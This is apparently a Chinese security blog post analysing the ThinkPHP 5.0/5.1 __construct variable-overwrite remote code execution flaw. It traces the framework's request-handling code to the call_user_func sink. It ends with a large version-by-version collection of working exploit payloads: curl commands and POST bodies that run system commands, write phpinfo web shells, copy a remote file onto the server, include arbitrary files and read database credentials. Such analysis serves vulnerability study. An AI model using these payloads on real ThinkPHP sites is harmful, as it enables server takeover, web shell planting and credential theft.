前言
疯狂恶补以前拉下的东西。
影响范围
5.0.x< 5.0.24、5.1.x<5.1.31
__construct变量覆盖RCE
例子
1 curl -X 'POST' 'http://127.0.0.1:18888/tp5/public/index.php?s=captcha' -d '_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id'
原理
5.0.22
版本thinkphp_5.0.22 。
从public/index.php 开始。
1 2 require __DIR__ . '/../thinkphp/start.php' ;
跟进到thinkphp/start.php 。
继续跟进run 方法,前面是一堆初始化信息,一直到这边获取调度信息,初始化为空,因此开始进行路由检测,调用routeCheck 方法。
1 2 3 4 5 6 7 8 9 10 11 12 public static function run (Request $request = null ) { $dispatch = self ::$dispatch ; if (empty ($dispatch )) { $dispatch = self ::routeCheck ($request , $config ); } }
开局一个$request->path() 调用。
1 2 3 4 5 6 7 public static function routeCheck ($request , array $config ) { $path = $request ->path (); $depr = $config ['pathinfo_depr' ]; $result = false ; }
path 方法中,开头拿到$suffix 为html ,继续跟进$this->pathinfo() 。
1 2 3 4 5 6 7 8 9 public function path ( ) { if (is_null ($this ->path)) { $suffix = Config ::get ('url_html_suffix' ); $pathinfo = $this ->pathinfo (); } return $this ->path; }
$pathinfo 为空,进入判断兼容模式参数,Config::get('var_pathinfo') 初始为s ,即POC 中GET 传参的s 赋值给$_SERVER['PATH_INFO'] ,然后销毁变量。
由于赋值后不为空,因此继续赋值captcha 给$pathinfo ,然后返回。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public function pathinfo ( ) { if (is_null ($this ->pathinfo)) { if (isset ($_GET [Config ::get ('var_pathinfo' )])) { $_SERVER ['PATH_INFO' ] = $_GET [Config ::get ('var_pathinfo' )]; unset ($_GET [Config ::get ('var_pathinfo' )]); } elseif (IS_CLI) { $_SERVER ['PATH_INFO' ] = isset ($_SERVER ['argv' ][1 ]) ? $_SERVER ['argv' ][1 ] : '' ; } if (!isset ($_SERVER ['PATH_INFO' ])) { foreach (Config ::get ('pathinfo_fetch' ) as $type ) { if (!empty ($_SERVER [$type ])) { $_SERVER ['PATH_INFO' ] = (0 === strpos ($_SERVER [$type ], $_SERVER ['SCRIPT_NAME' ])) ? substr ($_SERVER [$type ], strlen ($_SERVER ['SCRIPT_NAME' ])) : $_SERVER [$type ]; break ; } } } $this ->pathinfo = empty ($_SERVER ['PATH_INFO' ]) ? '/' : ltrim ($_SERVER ['PATH_INFO' ], '/' ); } return $this ->pathinfo; }
返回path 方法后,前面拿到$suffix 不为false ,进入第二个if 语句,返回$path 为captcha 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public function path ( ) { if (is_null ($this ->path)) { $suffix = Config ::get ('url_html_suffix' ); $pathinfo = $this ->pathinfo (); if (false === $suffix ) { $this ->path = $pathinfo ; } elseif ($suffix ) { $this ->path = preg_replace ('/\.(' . ltrim ($suffix , '.' ) . ')$/i' , '' , $pathinfo ); } else { $this ->path = preg_replace ('/\.' . $this ->ext () . '$/i' , '' , $pathinfo ); } } return $this ->path; }
$path 为captcha ,$depr 默认为/ ,下一步判断,self::$routeCheck 初始为空,而config['url_route_on'] 初始为true ,因此进入路由检测。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public static function routeCheck ($request , array $config ) { $path = $request ->path (); $depr = $config ['pathinfo_depr' ]; $result = false ; $check = !is_null (self ::$routeCheck ) ? self ::$routeCheck : $config ['url_route_on' ]; if ($check ) { if (is_file (RUNTIME_PATH . 'route.php' )) { $rules = include RUNTIME_PATH . 'route.php' ; is_array ($rules ) && Route ::rules ($rules ); } else { $files = $config ['route_config_file' ]; foreach ($files as $file ) { if (is_file (CONF_PATH . $file . CONF_EXT)) { $rules = include CONF_PATH . $file . CONF_EXT; is_array ($rules ) && Route ::import ($rules ); } } } } }
路由缓存暂无,因此读取路由配置文件public/../application/route.php ,并根据配置注册路由。
1 2 3 4 5 6 7 8 9 10 return [ '__pattern__' => [ 'name' => '\w+' , ], '[hello]' => [ ':id' => ['index/hello' , ['method' => 'get' ], ['id' => '\d+' ]], ':name' => ['index/hello' , ['method' => 'post' ]], ], ];
然后又回到了routeCheck 方法。
1 2 3 4 5 6 7 public static function routeCheck ($request , array $config ) { $result = Route ::check ($request , $path , $depr , $config ['url_domain_deploy' ]); }
然后来到Route::check 方法,前面一堆检查缓存和检查路由别名的操作,然后解析$request->method() 。
1 2 3 4 public static function check ($request , $url , $depr = '/' , $checkDomain = false ) { $method = strtolower ($request ->method ());
跟进method 方法,var_method 初始为_method ,即当POST 存在_method 参数的时候,将传入的值赋给$this->method 。
因此POC 中传入的_method=__construct 在这里发挥作用,赋值__construct 给$this->method ,然后在下一步被动态调用,指向了$this->__construct ,并将POST 数组作为option 传入。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public function method ($method = false ) { if (true === $method ) { return $this ->server ('REQUEST_METHOD' ) ?: 'GET' ; } elseif (!$this ->method) { if (isset ($_POST [Config ::get ('var_method' )])) { $this ->method = strtoupper ($_POST [Config ::get ('var_method' )]); $this ->{$this ->method}($_POST ); } elseif (isset ($_SERVER ['HTTP_X_HTTP_METHOD_OVERRIDE' ])) { $this ->method = strtoupper ($_SERVER ['HTTP_X_HTTP_METHOD_OVERRIDE' ]); } else { $this ->method = $this ->server ('REQUEST_METHOD' ) ?: 'GET' ; } } return $this ->method; }
跟进__construct 方法,可以看到property_exists 方法校验$option 的键值对,当存在属于Request 类的成员变量名的时候,可以对成员变量的值进行覆盖,因此构造传入的filter 和method 都成功覆盖了变量,使得$this->filter[]=system ,$this->method=get 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 protected function __construct ($options = [] ) { foreach ($options as $name => $item ) { if (property_exists ($this , $name )) { $this ->$name = $item ; } } if (is_null ($this ->filter)) { $this ->filter = Config ::get ('default_filter' ); } $this ->input = file_get_contents ('php://input' ); }
接着一系列操作返回run 方法,此时$dispatch 的值如下。
1 2 3 4 5 6 $dispatch = {array } [3 ] type = "method" method = {array } [2 ] 0 = "\think\captcha\CaptchaController" 1 = "index" var = {array } [0 ]
接下来,如果没开debug ,会进入exec 方法,如果开启debug ,就会进入Log 操作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public static function run (Request $request = null ) { if (self ::$debug ) { Log ::record ('[ ROUTE ] ' . var_export ($dispatch , true ), 'info' ); Log ::record ('[ HEADER ] ' . var_export ($request ->header (), true ), 'info' ); Log ::record ('[ PARAM ] ' . var_export ($request ->param (), true ), 'info' ); } Hook ::listen ('app_begin' , $dispatch ); $request ->cache ( $config ['request_cache' ], $config ['request_cache_expire' ], $config ['request_cache_except' ] ); $data = self ::exec ($dispatch , $config ); }
没开debug
跟进exec 方法,由于$dispatch['type'] 的值为method ,因此进入case 'method' 。
1 2 3 4 5 6 7 8 9 10 11 protected static function exec ($dispatch , $config ) { switch ($dispatch ['type' ]) { case 'method' : $vars = array_merge (Request ::instance ()->param (), $dispatch ['var' ]); $data = self ::invokeMethod ($dispatch ['method' ], $vars ); break ; } }
跟进param 方法。
1 2 3 4 5 6 7 8 public function param ($name = '' , $default = null , $filter = '' ) { if (empty ($this ->mergeParam)) { $method = $this ->method (true ); } }
获取$method 的值,跟进method 方法,带进的参数为true 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public function method ($method = false ) { if (true === $method ) { return $this ->server ('REQUEST_METHOD' ) ?: 'GET' ; } elseif (!$this ->method) { if (isset ($_POST [Config ::get ('var_method' )])) { $this ->method = strtoupper ($_POST [Config ::get ('var_method' )]); $this ->{$this ->method}($_POST ); } elseif (isset ($_SERVER ['HTTP_X_HTTP_METHOD_OVERRIDE' ])) { $this ->method = strtoupper ($_SERVER ['HTTP_X_HTTP_METHOD_OVERRIDE' ]); } else { $this ->method = $this ->server ('REQUEST_METHOD' ) ?: 'GET' ; } } return $this ->method; }
传入的是true ,继续跟进server 方法。
1 2 3 4 5 6 7 8 9 10 public function server ($name = '' , $default = null , $filter = '' ) { if (empty ($this ->server)) { $this ->server = $_SERVER ; } if (is_array ($name )) { return $this ->server = array_merge ($this ->server, $name ); } return $this ->input ($this ->server, false === $name ? false : strtoupper ($name ), $default , $filter ); }
非空非数组,直接return ,跟进input 方法。
此时后面传入的$data 为REQUEST_METHOD=id ,$name 为REQUEST_METHOD ,$default 为null ,$filter 为空字符串。
前面解析$name 到$type 赋值为s ,到下面的for 循环直接将$data 赋值为id ,然后开始解析过滤器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public function input ($data = [], $name = '' , $default = null , $filter = '' ) { if (false === $name ) { return $data ; } $name = (string ) $name ; if ('' != $name ) { if (strpos ($name , '/' )) { list ($name , $type ) = explode ('/' , $name ); } else { $type = 's' ; } foreach (explode ('.' , $name ) as $val ) { if (isset ($data [$val ])) { $data = $data [$val ]; } else { return $default ; } } if (is_object ($data )) { return $data ; } } $filter = $this ->getFilter ($filter , $default ); }
$filter 和$default 两个为空值,直接将之前类中覆盖的$this->filter 传给局部变量的$filter ,并返回,此时值为{"system", null}[2] 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 protected function getFilter ($filter , $default ) { if (is_null ($filter )) { $filter = []; } else { $filter = $filter ?: $this ->filter; if (is_string ($filter ) && false === strpos ($filter , '/' )) { $filter = explode (',' , $filter ); } else { $filter = (array ) $filter ; } } $filter [] = $default ; return $filter ; }
返回input 方法后,由于data 是字符串不是数组,因此跟进filterValue 方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public function input ($data = [], $name = '' , $default = null , $filter = '' ) { $filter = $this ->getFilter ($filter , $default ); if (is_array ($data )) { array_walk_recursive ($data , [$this , 'filterValue' ], $filter ); reset ($data ); } else { $this ->filterValue ($data , $name , $filter ); } }
$value 值为id ,$key 是REQUEST_METHOD ,$filter 是带有system 字符串的数组。
接着array_pop 方法将null 弹出,剩一个system 在数组中,for 循环判断system 为回调函数,调用call_user_func 直接命令执行。
1 2 3 4 5 6 7 8 9 10 11 12 private function filterValue (&$value , $key , $filters ) { $default = array_pop ($filters ); foreach ($filters as $filter ) { if (is_callable ($filter )) { $value = call_user_func ($filter , $value ); } } return $this ->filterExp ($value ); }
然后将执行的结果通过filterExp 过滤后带回,默认过滤的是sql 注入。
1 2 3 4 5 6 7 8 public function filterExp (&$value ) { if (is_string ($value ) && preg_match ('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT LIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOT EXISTS|NOTEXISTS|EXISTS|NOT NULL|NOTNULL|NULL|BETWEEN TIME|NOT BETWEEN TIME|NOTBETWEEN TIME|NOTIN|NOT IN|IN)$/i' , $value )) { $value .= ' ' ; } }
然后就是一路将命令执行的结果带回,导致后面的switch case 直接进入default case ,再往后的数据带回暂且不提,调用栈如下。
1 2 3 4 5 6 7 8 9 Request.php:1083 , think\Request->filterValue () Request.php:1029 , think\Request->input () Request.php:865 , think\Request->server () Request.php:522 , think\Request->method () Request.php:637 , think\Request->param () App.php:469 , think\App ::exec () App.php:139 , think\App ::run () start.php:19 , require () index.php:17 , {main}()
开启debug
进入Log 操作后,跟进$request->param() ,合并后param 为array{0=>id} 数组,然后返回带进input 方法。
1 2 3 4 5 6 7 8 public function param ($name = '' , $default = null , $filter = '' ) { $this ->param = array_merge ($this ->param, $this ->get (false ), $vars , $this ->route (false )); $this ->mergeParam = true ; return $this ->input ($this ->param, $name , $default , $filter ); }
然后步骤就跟上面未开启debug 的一样了,传入的$data 一顿操作变成字符串id 然后继续调用filterValue 方法。
1 2 3 4 5 6 7 8 9 10 11 public function input ($data = [], $name = '' , $default = null , $filter = '' ) { if (is_array ($data )) { array_walk_recursive ($data , [$this , 'filterValue' ], $filter ); reset ($data ); } else { $this ->filterValue ($data , $name , $filter ); } }
后面就跟上面的一样了,附上调用栈。
1 2 3 4 5 6 7 Request.php:1083 , think\Request->filterValue () Request.php:1026 , array_walk_recursive () Request.php:1026 , think\Request->input () Request.php:661 , think\Request->param () App.php:126 , think\App ::run () start.php:19 , require () index.php:17 , {main}()
一些疑惑
get 传入的s=captcha 和post 传入的method=get 好像没啥用,应该是小版本的问题,未测。
POC
5.0.0-5.0.20
1 2 3 4 5 6 7 POST ?s=index/index s=whoami&_method=__construct&method=POST&filter[]=system aaaa=whoami&_method=__construct&method=GET&filter[]=system _method=__construct&method=GET&filter[]=system&get[]=whoami POST s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
5.0.8-5.0.20
1 2 POST ?s=index/index c=system&f=calc&_method=filter
5.0.13-5.0.23
有captcha路由时无需debug=true
1 2 POST ?s=captcha/calc _method=__construct&filter[]=system&method=GET
5.0.21-5.0.23
有captcha路由时无需debug=true
1 2 POST ?s=captcha _method=__construct&filter[]=system&server[REQUEST_METHOD]=calc&method=get
默认debug=false,需要开启debug 命令执行
1 2 3 4 5 6 POST ?s=index/index _method=__construct&filter[]=system&server[REQUEST_METHOD]=calc POST _method=__construct&filter[]=assert&server[REQUEST_METHOD]=file_put_contents('test.php','<?php phpinfo();')
5.0.23
debug无关,路由为captcha
1 2 3 4 5 6 7 8 9 10 11 curl -X 'POST' 'http://127.0.0.1:18888/tp5/public/index.php?s=captcha/whoami' -d '_method=__construct&filter[]=system&method=GET' curl -X 'POST' 'http://127.0.0.1:18888/tp5/public/index.php?s=captcha' -d '_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id' curl -X 'POST' 'http://127.0.0.1:18888/tp5/public/index.php?s=captcha' -d '_method=__construct&method=GET&filter[]=system&get[]=whoami' curl 'http://127.0.0.1:18888/tp5/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id' http://127.0.0.1:18888/tp5/public/index.php?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami ?s=index/think\config/get&name=database.username // 获取配置信息 ?s=index/\think\Lang/load&file=../../test.jpg // 包含任意文件 ?s=index/\think\Config/load&file=../../t.php // 包含任意.php文件
开启debug
1 2 3 4 curl -X 'POST' 'http://127.0.0.1:18888/tp5/public/index.php?s=index/index' -d '_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id' curl -X 'POST' 'http://127.0.0.1:18888/tp5/public/index.php?s=index/index' -d '_method=__construct&method=GET&filter[]=system&get[]=whoami'
1 2 3 4 5 6 7 8 9 10 11 curl -X 'POST' 'http://127.0.0.1:18888/tp5/public/index.php?s=index/index' -d '_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id' curl -X 'POST' 'http://127.0.0.1:18888/tp5/public/index.php?s=index/index' -d 'aaaa=id&_method=__construct&method=POST&filter[]=system' curl -X 'POST' 'http://127.0.0.1:18888/tp5/public/index.php?s=index/index' -d 's=id&_method=__construct&method=POST&filter[]=system' curl -X 'POST' 'http://127.0.0.1:18888/tp5/public/index.php?s=index/index' -d '_method=__construct&method=GET&filter[]=system&get[]=whoami' curl -X 'POST' 'http://127.0.0.1:18888/tp5/public/index.php?s=index/index' -d 'c=system&f=whoami&_method=filter' curl -X 'POST' 'http://127.0.0.1:18888/tp5/public/index.php?s=captcha/whoami' -d '_method=__construct&filter[]=system&method=GET'
5.1.x
1 2 3 4 ?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?> ?s=index/\think\view\driver\Think/display&template=<?php phpinfo();?> //shell生成在runtime/temp/md5(template).php ?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy('远程地址','333.php') ?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 http://php.local/thinkphp5.0.5/public/index.php?s=index post _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo _method=__construct&filter[]=system&method=GET&get[]=whoami # ThinkPHP <= 5.0.13 POST /?s=index/index s=whoami&_method=__construct&method=&filter[]=system # ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug POST / _method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al # ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha POST /?s=xxx HTTP/1.1 _method=__construct&filter[]=system&method=get&get[]=ls+-al _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
未开启强制路由RCE
Refer
ThinkPHP v5 RCE 漏洞分析与收集
Thinkphp5 RCE 总结